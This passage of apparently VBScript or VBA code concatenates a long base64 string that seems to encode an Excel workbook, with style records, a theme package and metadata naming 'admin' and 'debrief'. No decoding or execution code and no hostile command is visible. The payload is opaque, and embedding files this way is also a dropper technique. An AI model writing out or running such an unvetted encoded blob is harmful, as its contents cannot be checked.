      x = x & "CD0AkggAAAAAAAAAAAAAAQMR/wQAB2iYmCAAMgAAAAMABQAMAAcDAABEVGr/JQAFAAIHAA4ABwT/P6zM6v8FAJMCDQAmAAQAAQdo"
      x = x & "mJggADMAkgg9AJIIAAAAAAAAAAAAAAEDEv8EAAdomJggADMAAAADAAUADAAHAwAARFRq/yUABQACBwAOAAcEMjObwub/AgCTAg0A"
      x = x & "JwAEAAEHaJiYIAA0AJIILwCSCAAAAAAAAAAAAAABAxP/BAAHaJiYIAA0AAAAAgAFAAwABwMAAERUav8lAAUAApMCBwAoAAEAAe5d"
      x = x & "kgg1AJIIAAAAAAAAAAAAAAEBG/8BAO5dAAADAAEADAAF/wAA/8fO/wUADAAF/wAAnAAG/yUABQACkwIEAACAAP+SCCsAkggAAAAA"
      x = x & "AAAAAAAAAQEA/wIAOF7EiQAAAgAFAAwABwEAAAAAAP8lAAUAApMCBwApAAEAAX1Zkgg1AJIIAAAAAAAAAAAAAAEBGv8BAH1ZAAAD"
      x = x & "AAEADAAF/wAAxu/O/wUADAAF/wAAAGEA/yUABQACkwIJACoAAgABR2w7YJIIRwCSCAAAAAAAAAAAAAABAxn/AgBHbDtgAAAEAAUA"
      x = x & "DAAHAQAAAAAA/yUABQACBgAOAAcEAABbm9X/AQAHAA4ABwQAAFub1f8GAJMCBAArgAT/kggaAJIIAAAAAAAAAAAAAAEFBP8CACeN"
      x = x & "AV4AAAAAkwIEACyAB/+SCCAAkggAAAAAAAAAAAAAAQUH/wUAJ40BXlsAMABdAAAAAACTAgkALQACAAGhi5d7kghvAJIIAAAAAAAA"
      x = x & "AAAAAAECFv8CAKGLl3sAAAcAAQAMAAX/AADy8vL/BQAMAAX/AAD6fQD/JQAFAAIGAA4ABf8AAH9/f/8BAAcADgAF/wAAf39//wEA"
      x = x & "CAAOAAX/AAB/f3//AQAJAA4ABf8AAH9/f/8BAJMCDwAuAAUAAcBo5WdVU0NRPGiSCHUAkggAAAAAAAAAAAAAAQIX/wUAwGjlZ1VT"
      x = x & "Q1E8aAAABwABAAwABf8AAKWlpf8FAAwABwAAAP////8lAAUAAgYADgAF/wAAPz8//wYABwAOAAX/AAA/Pz//BgAIAA4ABf8AAD8/"
      x = x & "P/8GAAkADgAF/wAAPz8//wYAkwIPAC8ABQAB44nKkSdgh2UsZ5IIMQCSCAAAAAAAAAAAAAABAjX/BQDjicqRJ2CHZSxnAAACAAUA"
      x = x & "DAAF/wAAf39//yUABQACkwINADAABAABZotKVIdlLGeSCC8AkggAAAAAAAAAAAAAAQIL/wQAZotKVIdlLGcAAAIABQAMAAX/AAD/"
      x = x & "AAD/JQAFAAKTAg8AMQAFAAH+lKVjVVNDUTxokgg/AJIIAAAAAAAAAAAAAAECGP8FAP6UpWNVU0NRPGgAAAMABQAMAAX/AAD6fQD/"
      x = x & "JQAFAAIHAA4ABf8AAP+AAf8GAJMCBAAygAP/kggeAJIIAAAAAAAAAAAAAAEFA/8EAENTTU8GUpSWAAAAAJMCBAAzgAb/kggkAJII"
      x = x & "AAAAAAAAAAAAAAEFBv8HAENTTU8GUpSWWwAwAF0AAAAAAJMCCQA0AAIAAQKQLU6SCDcAkggAAAAAAAAAAAAAAQEc/wIAApAtTgAA"
      x = x & "AwABAAwABf8AAP/rnP8FAAwABf8AAJxlAP8lAAUAApMCCQA1AAIAAZOP+lGSCG8AkggAAAAAAAAAAAAAAQIV/wIAk4/6UQAABwAB"
      x = x & "AAwABf8AAPLy8v8FAAwABf8AAD8/P/8lAAUAAgYADgAF/wAAPz8//wEABwAOAAX/AAA/Pz//AQAIAA4ABf8AAD8/P/8BAAkADgAF"
      x = x & "/wAAPz8//wEAkwIJADYAAgABk49lUZIIbwCSCAAAAAAAAAAAAAABAhT/AgCTj2VRAAAHAAEADAAF/wAA/8yZ/wUADAAF/wAAPz92"
      x = x & "/yUABQACBgAOAAX/AAB/f3//AQAHAA4ABf8AAH9/f/8BAAgADgAF/wAAf39//wEACQAOAAX/AAB/f3//AQCTAg0ANwAEAAFAd3KC"
      x = x & "IAAxAJIIOwCSCAAAAAAAAAAAAAABBB3/BABAd3KCIAAxAAAAAwABAAwABwQAAFub1f8FAAwABwAAAP////8lAAUAApMCDQA4AAQA"
      x = x & "AUB3coIgADIAkgg7AJIIAAAAAAAAAAAAAAEEIf8EAEB3coIgADIAAAADAAEADAAHBQAA7X0x/wUADAAHAAAA/////yUABQACkwIN"
      x = x & "ADkABAABQHdygiAAMwCSCDsAkggAAAAAAAAAAAAAAQQl/wQAQHdygiAAMwAAAAMAAQAMAAcGAAClpaX/BQAMAAcAAAD/////JQAF"
      x = x & "AAKTAg0AOgAEAAFAd3KCIAA0AJIIOwCSCAAAAAAAAAAAAAABBCn/BABAd3KCIAA0AAAAAwABAAwABwcAAP/AAP8FAAwABwAAAP//"
      x = x & "//8lAAUAApMCDQA7AAQAAUB3coIgADUAkgg7AJIIAAAAAAAAAAAAAAEELf8EAEB3coIgADUAAAADAAEADAAHCAAARHLE/wUADAAH"
      x = x & "AAAA/////yUABQACkwINADwABAABQHdygiAANgCSCDsAkggAAAAAAAAAAAAAAQQx/wQAQHdygiAANgAAAAMAAQAMAAcJAABwrUf/"
      x = x & "BQAMAAcAAAD/////JQAFAAKTAgkAPQACAAHobMqRkgheAJIIAAAAAAAAAAAAAAECCv8CAOhsypEAAAUAAQAMAAX/AAD//8z/BgAO"
      x = x & "AAX/AACysrL/AQAHAA4ABf8AALKysv8BAAgADgAF/wAAsrKy/wEACQAOAAX/AACysrL/AQCOCFgAjggAAAAAAAAAAAAAkAAAABEA"
      x = x & "EQBUAGEAYgBsAGUAUwB0AHkAbABlAE0AZQBkAGkAdQBtADIAUABpAHYAbwB0AFMAdAB5AGwAZQBMAGkAZwBoAHQAMQA2AGABAgAA"
      x = x & "AIUADwD9OAAAAAAHAGRlYnJpZWaaCBgAmggAAAAAAAAAAAAAAQAAAAAAAAABAAAAowgQAKMIAAAAAAAAAAAAAAAAAACMAAQAVgBW"
      x = x & "AMEBCADBAQAAv1MCAPwACAAAAAAAAAAAAP8AAgAIAGMIFgBjCAAAAAAAAAAAAAAWAAAAAAAAAAIAlghKDJYIAAAAAAAAAAAAAIZW"
      x = x & "AgBQSwMEFAAGAAgAAAAhAOneD7//AAAAHAIAABMAAABbQ29udGVudF9UeXBlc10ueG1srJHLTsMwEEX3SPyD5S1KnLJACCXpgseO"
      x = x & "x6J8wMiZJBbJ2LKnVfv3TNJUQqggFmws2TP3njvjcr0fB7XDmJynSq/yQisk6xtHXaXfN0/ZrVaJgRoYPGGlD5j0ur68KDeHgEmJ"
      x = x & "mlKle+ZwZ0yyPY6Qch+QpNL6OALLNXYmgP2ADs11UdwY64mROOPJQ9flA7awHVg97uX5mCTikLS6PzZOrEpDCIOzwJLU7Kj5RskW"
      x = x & "Qi7KuSf1LqQriaHNWcJU+Rmw6F5lNdE1qN4g8guMEsOwDIlfz2cgGS3mvzueiezb1llsvN2Oso58Nl7MTsH/FGD1P+gT08x/W38C"
      x = x & "AAD//wMAUEsDBBQABgAIAAAAIQCl1qfnwAAAADYBAAALAAAAX3JlbHMvLnJlbHOEj89qwzAMh++FvYPRfVHSwxgldi+lkEMvo30A"
      x = x & "4Sh/aCIb2xvr20/HBgq7CISk7/epPf6ui/nhlOcgFpqqBsPiQz/LaOF2Pb9/gsmFpKclCFt4cIaje9u1X7xQ0aM8zTEbpUi2MJUS"
      x = x & "D4jZT7xSrkJk0ckQ0kpF2zRiJH+nkXFf1x+YnhngNkzT9RZS1zdgro+oyf+zwzDMnk/Bf68s5UUEbjeUTGnkYqGoL+NTvZCoZarU"
      x = x & "HtC1uPnW/QEAAP//AwBQSwMEFAAGAAgAAAAhAGt5lhaDAAAAigAAABwAAAB0aGVtZS90aGVtZS90aGVtZU1hbmFnZXIueG1sDMxN"
      x = x & "CsMgEEDhfaF3kNk3Y7soRWKyy6679gBDnBpBx6DSn9vX5eODN87fFNWbSw1ZLJwHDYplzS6It/B8LKcbqNpIHMUsbOHHFebpeBjJ"
      x = x & "tI0T30nIc1F9I9WQha213SDWtSvVIe8s3V65JGo9i0dX6NP3KeJF6ysmCgI4/QEAAP//AwBQSwMEFAAGAAgAAAAhAHeLfZbCBgAA"
      x = x & "jxoAABYAAAB0aGVtZS90aGVtZS90aGVtZTEueG1s7FnPi9tGFL4X+j8I3R3/kmR7iTfYsp1ts5uE2EnJcWyPrcmONEYa78aEQEmO"
      x = x & "hUJpWnIplF56KG0DCbTQ9K/ZNCVNIf9C34xkecYed5Mlh7RkDYs0+t6bb957+t5IOn/hdkitIxwnhEVNu3yuZFs4GrExiaZN+/qg"
      x = x & "V6jbVsJRNEaURbhpL3BiX9j98IPzaIcHOMQW2EfJDmraAeeznWIxGcEwSs6xGY7g2oTFIeJwGk+L4xgdg9+QFiulklcMEYlsK0Ih"
      x = x & "uL0ymZARtp79+tuL7x7au0vvXQpTRDwRAyMa94VvrJlI7PiwLBDJIvFpbB0h2rRhojE7HuDb3LYoSjhcaNol+WcXd88X0U5mRPkW"
      x = x & "W8WuJ/8yu8xgfFiRc8bTYT6p47iO18r9SwDlm7huret1vdyfBKDRCFaaclF9uu1Gu+NmWAWUHhp8d2qdalnDK/6rG5xbrvhpeAlK"
      x = x & "/Tsb+F7PhyhqeAlK8e4G3nFqFd/R8BKU4r0NfK3U6jg1DS9BASXR4Qa65HpVf7naHDJhdM8Ib7hOr1bJnK9QUA15dYkpJizi22ot"
      x = x & "RLdY3AOAAFLESWTxxQxP0AjK2EeUDGNi7ZNpAIU3QxFLYLhUKfVKVfgvfo48khFBOxgp1oIXMEk2hgQfKxnFZMab9sfg1VYgr57+"
      x = x & "+OrpY+vV00cn956c3Pvl5P79k3s/p740wz0UTVXDl99/8fc3n1p/Pf725YOvzPhExf/x02fPfv/SDITFrqLw/OtHfz559Pzh5y9+"
      x = x & "eGCAt2I0VOEDEuLEuoyPrWsshLXJKOjM8TB+M4tBgIhmgQLwbXDd5YEGvLxA1IRrYz14N2IQGBPw4vyWxrUfxHNODDNfCkINeMAY"
      x = x & "bbPYGIBLYi4lwoN5NDVPHs9V3DWEjkxz+yjSUtudz0BZicmlH2CN5lWKIo6mOMLcEtfYIcaG1d0kRIvrARnFLGETbt0kVhsRY0gG"
      x = x & "ZKgV0spoj4SQl4WJIKRai83BDavNqGnVHXykI+GGQNRAfoCpFsaLaM5RaHI5QCFVA76PeGAi2V/EIxXXTThkeoops7pjnCQmmysx"
      x = x & "rFdJ+iUQF3PaD+gi1JExJ4cmn/uIMRXZYYd+gMKZCdsnUaBiP0oOoUSRdZVxE/yA6XeIOIc8oGhrum8QrKX7dCG4DrqqUloViLgy"
      x = x & "jw25vIiZVr/9BZ0gLFUGZF9T85BEp0r7mqi770U97Urrot6KifHW2luT8m24/6CAd9A8uorhntlsYO/1+71+2/97/d52L7991V4J"
      x = x & "NWi42Cqmu3W5dw+3bt0nhNI+X1C8n8jdewLtadyDQWEnn1tx/ig3C+BQ3MkwgYabxkjaWDHjnxAe9AM0gy1+2RZOpknmeppYM5bA"
      x = x & "zl8OG30LPJ2HB2ycPrGWy+LpNBWPBPHVeMnNx+Fpg6dor7Z6CsvdS7ZT+bS8JCBs34SEMplOomogUVsOiiDJZ3MImoGEXNlbYdEw"
      x = x & "sKgL98tUbbAAanlWYP9kwa6rabsOmIARPFQhisciT2mql9mVyXybmd4WTK0CYDOxrIBVphuC69blidWlpfYamdZIKOWmk5CRkT0s"
      x = x & "CdAYZ9UpRl+HxpvmurFKqUZPhELOB6W1olGr/xuLs+Ya7Na1gUaqUtDIOm7aXtWFkhmhWdOewJM/HIYzqJ1E7HsRncL7sxGP0xv+"
      x = x & "LMoyixPeQUmQBlyKTqoGIeE4tigJm7ZYfp4GGkkNkdzKFRCEd5ZcA2TlXSMHSdeTjCcTPOJq2pUREen0FBQ+1QrjVWl+drCwZHNI"
      x = x & "dz8YH1tDOo+vISgxt1YWARyTBF4AldNojgm80cyFbFV/a40pk131laKsoXQc0VmAso6iinkKl1Ke05FneQyUs2zNEFAlJFkjHE5F"
      x = x & "g1WDqnXTvGukHLZ23dONROQU0Vz1TE1VRNc0q5g2w7INrMXybE1eYbUMMWia2uFT6V6X3MZS69b2CXmXgIDn8TN03ddoCAq11WQa"
      x = x & "NcF4U4aFZmejeu9YLvAUaq/TJBTV95Zu1+KW9wjjdDB4ps4PdutVC0OT5b5SRlp++1C/TrDhLRCPDrwHnlOeyFTCt4cYwYaoL/ck"
      x = x & "qWzALXKbZ7cGHFnzmDTtOyW35fgV1y+U6m634FSdUqHutqqFlutWy123XOq0K3ehsfAgLLvpd5cevI+ii+zrixzf+AITLl+5nRux"
      x = x & "sMjkF5aiJC6/wJQrpi8wA/GFxbYIiM4dr9JrVBttr9CotnoFp9OuFxq+1y50PL/W6XV8t97o3bWtIwl2WlXf8br1glf2/YLjlQT9"
      x = x & "eqNQcyqVllNr1btO6262jYGVp/KRxQLCK3nt/gMAAP//AwBQSwMEFAAGAAgAAAAhAA3RkJ+2AAAAGwEAACcAAAB0aGVtZS90aGVt"
      x = x & "ZS9fcmVscy90aGVtZU1hbmFnZXIueG1sLnJlbHOEj00KwjAUhPeCdwhvb9O6EJEm3YjQrdQDhOQ1DTY/JFHs7Q2uLAguh2G+mWm7"
      x = x & "l53JE2My3jFoqhoIOumVcZrBbbjsjkBSFk6J2TtksGCCjm837RVnkUsoTSYkUiguMZhyDidKk5zQilT5gK44o49W5CKjpkHIu9BI"
      x = x & "93V9oPGbAXzFJL1iEHvVABmWUJr/s/04GolnLx8WXf5RQXPZhQUoosbM4CObqkwEylu6usTfAAAA//8DAFBLAQItABQABgAIAAAA"
      x = x & "IQDp3g+//wAAABwCAAATAAAAAAAAAAAAAAAAAAAAAABbQ29udGVudF9UeXBlc10ueG1sUEsBAi0AFAAGAAgAAAAhAKXWp+fAAAAA"
      x = x & "NgEAAAsAAAAAAAAAAAAAAAAAMAEAAF9yZWxzLy5yZWxzUEsBAi0AFAAGAAgAAAAhAGt5lhaDAAAAigAAABwAAAAAAAAAAAAAAAAA"
      x = x & "GQIAAHRoZW1lL3RoZW1lL3RoZW1lTWFuYWdlci54bWxQSwECLQAUAAYACAAAACEAd4t9lsIGAACPGgAAFgAAAAAAAAAAAAAAAADW"
      x = x & "AgAAdGhlbWUvdGhlbWUvdGhlbWUxLnhtbFBLAQItABQABgAIAAAAIQAN0ZCftgAAABsBAAAnAAAAAAAAAAAAAAAAAMwJAAB0aGVt"
      x = x & "ZS90aGVtZS9fcmVscy90aGVtZU1hbmFnZXIueG1sLnJlbHNQSwUGAAAAAAUABQBdAQAAxwoAAAAAmwgQAJsIAAAAAAAAAAAAAAEA"
      x = x & "AACMCBAAjAgAAAAAAAAAAAAAAAAAAAoAAAAJCBAAAAYQAFQ4zQfJwAEABgcAAAsCEAAAAAAAAAAAAAAAAAAPOgAADQACAAEADAAC"
      x = x & "AGQADwACAAEAEQACAAAAEAAIAPyp8dJNYlA/XwACAAEAKgACAAAAKwACAAAAggACAAEAgAAIAAAAAAAAAAAAJQIEAAAADgGBAAIA"
      x = x & "wQQUAAAAFQAAAIMAAgAAAIQAAgAAACYACABmZmZmZmbmPycACABmZmZmZmbmPygACAAAAAAAAADoPykACAAAAAAAAADoP6EAIgAA"
      x = x & "AA4BAQABAAEABACGVgIAMzMzMzMz0z8zMzMzMzPTPw+/nAgmAJwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8MwAAAAAAAAAA"
      x = x & "VQACAAgAAAIOAAAAAAAAAAAAAAAAAAAAPgISALYGAAAAAEAAAAAAAAAAAAAAAIsIEACLCAAAAAAAAAAAAAAAAAIAHQAPAAMAAAAA"
      x = x & "AAABAAAAAAAAAO8ABgAFADcAAABnCBcAZwgAAAAAAAAAAAAAAgAB/////wNEAAAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+/wAABgECAAAAAAAAAAAAAAAAAAAAAAABAAAA"
      x = x & "4IWf8vlPaBCrkQgAKyez2TAAAACgAAAABwAAAAEAAABAAAAABAAAAEgAAAAIAAAAWAAAABIAAABoAAAADAAAAIAAAAANAAAAjAAA"
      x = x & "ABMAAACYAAAAAgAAAKgDAAAeAAAACAAAAGFkbWluAAAAHgAAAAgAAABhZG1pbgAAAB4AAAAQAAAATWljcm9zb2Z0IEV4Y2VsAEAA"
      x = x & "AAAAjaB13CvQAUAAAACAknOv4CvQAQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAA/v8AAAYBAgAAAAAAAAAAAAAAAAAAAAAAAQAAAALVzdWcLhsQk5cIACss+a4wAAAAwAAAAAkAAAAB"
      x = x & "AAAAUAAAAA8AAABYAAAAFwAAAGQAAAALAAAAbAAAABAAAAB0AAAAEwAAAHwAAAAWAAAAhAAAAA0AAACMAAAADAAAAKAAAAACAAAA"
      x = x & "qAMAAB4AAAAEAAAAAAAAAAMAAAAAAA8ACwAAAAAAAAALAAAAAAAAAAsAAAAAAAAACwAAAAAAAAAeEAAAAQAAAAgAAABkZWJyaWVm"
      x = x & "AAwQAAACAAAAHgAAAAcAAAC5pNf3se0AAwAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
